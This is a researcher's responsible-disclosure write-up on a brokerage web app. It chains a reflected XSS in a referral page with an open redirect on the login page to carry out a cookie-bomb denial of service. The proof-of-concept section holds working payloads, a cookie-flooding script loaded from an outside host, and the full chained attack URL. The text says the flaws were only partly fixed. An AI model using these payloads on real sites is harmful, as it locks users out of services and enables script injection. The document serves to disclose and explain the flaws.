Heitor Gouvêa

Research About

Chaining client-side vulnerabilities to make a web app unavailable

Table of contents:

Summary

During a security analysis of the web application operated by easynvest.com.br (acquired by Nubank), two client-side vulnerabilities were identified. When combined, these flaws can be exploited to compromise the availability of the service for legitimate users. Specifically, the attack chain enables a Denial of Service (DoS) condition through client-side exploitation.

Timeline

23/05/2020: PoC performed;
24/05/2020: Reported Vulnerability;
27/05/2020: Confirmed Vulnerability;
13/07/2020: Vulnerability "fix";
21/12/2022: Publication of this article.

Disclaimer: the responsible company was informed about all details contained in this publication in the shortest possible time and it positioned itself in an ethical and transparent manner, demonstrating due attention and commitment. During all tests, no system was invaded or breached, in addition, the company performed some of the necessary actions/modifications to minimize any undue action that explores the context covered in this publication.

Description

The application includes a feature that generates personalized referral links using URL parameters, as shown in the following example:

Imagem

https://indique.easynvest.com.br?nome=heitor%20REDACTED&id=[NUMERICAL ID REDACTED]

Imagem

Upon accessing the link, the “?nome=” parameter is directly reflected on the user’s screen. This behavior indicates the presence of a reflected Cross-Site Scripting (XSS) vulnerability ([1], [2]). The vulnerability was confirmed with the following payload:

https://indique.easynvest.com.br/?nome=<audio src/onerror=alert(1)>&id=1

Imagem

Although the vulnerability is exploitable, its impact is limited by several factors:

  • The vulnerable component is hosted on a subdomain, restricting access to LocalStorage on the main domain;
  • Sensitive cookies are protected with the HTTPOnly flag;
  • Being a reflected XSS, it is not easily propagated without user interaction;
  • The main domain enforces strong security policies, including anti-CSRF tokens, and headers such as X-Frame-Options (XFO), Content Security Policy (CSP), and CORS.

Given these constraints, the investigation focused on identifying a complementary vulnerability that could be chained with the reflected XSS. Analysis of the authentication page’s JavaScript revealed an Open Redirect vulnerability ([3], [4]):

https://www.easynvest.com.br/autenticacao?redirect_url=https://google.com

Demo:

This unvalidated redirect on the main domain allows malicious payloads to be delivered more reliably, partially bypassing the limitations of the subdomain-restricted XSS. However, further exploitation aimed at Account Takeover, data exfiltration, or critical actions was unsuccessful due to the application’s enforcement of Multi-Factor Authentication (MFA) for sensitive operations ([7]).

As an alternative, the combination of the vulnerabilities was leveraged to perform a Cookie Bomb attack, with the goal of rendering the application unavailable for users who visit a crafted malicious link. The attack involves injecting an excessive number of oversized cookies, surpassing server processing thresholds. As a result, subsequent requests from the affected browser are rejected, causing the application to fail to load—effectively creating a client-specific Denial of Service condition. Modern browsers typically allow multiple cookies, each up to ~4KB in size. However, most servers are not designed to handle unusually large volumes of cookie data, leading to application inaccessibility until the user manually clears the cookies or they expire.

For in-depth understanding, refer to: “Cookie Bomb or Let’s Break the Internet” [9] by Egor Homakov “Denial of Service with Cookie Bomb” [10] by filedescriptor.

Proof of Concept

The exploitation chain proceeds as follows:

  1. Host a JavaScript payload to generate oversized cookies:
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution   = Array(4000).join('a');

for (var i = 1; i < 99; i++) {
    document.cookie='bomb' + i + '=' + pollution + ';Domain=' + base_domain + ";path=/";
}

window.location="https://" + document.domain;

* Hosted on: [https://heitorgouvea.me/public/payloads/bomb.js](https://heitorgouvea.me/public/payloads/bomb.js)

  1. Trigger the script via reflected XSS:

    https://indique.easynvest.com.br/?nome=><audio src=”” onerror=import(‘//heitorgouvea.me/public/payloads/bomb.js’);>&id=1

  2. Use an Open Redirect (with a shortened URL) to obfuscate the malicious payload: https://cutt.ly/syPnJXp

Final chained payload: https://easynvest.com.br/autenticacao?redirect_url=https://cutt.ly/syPnJXp

And this was the result:

Impact

This attack chain enables an adversary to induce localized unavailability of the application for specific users. By exceeding the server’s cookie processing capacity, the application becomes unresponsive for the affected user until they clear the injected cookies. While this analysis focused solely on a DoS vector, additional attack scenarios could emerge depending on future application changes or misconfigurations.

Conclusion

The exploitation described requires relatively low technical effort but can have a notable impact on user experience. By chaining a reflected XSS with an Open Redirect, it is possible to execute a Cookie Bomb attack resulting in targeted denial of service. Although this vector is not commonly exploited in real-world attacks, it is effective under the right conditions. Following responsible disclosure, the company took the following actions:

  • No definitive remediation was applied to the Open Redirect vulnerability;
  • The XSS vulnerability was partially mitigated via Web Application Firewall (WAF) rules, although multiple bypasses were identified. Technical feedback was provided, but no further updates were received.

References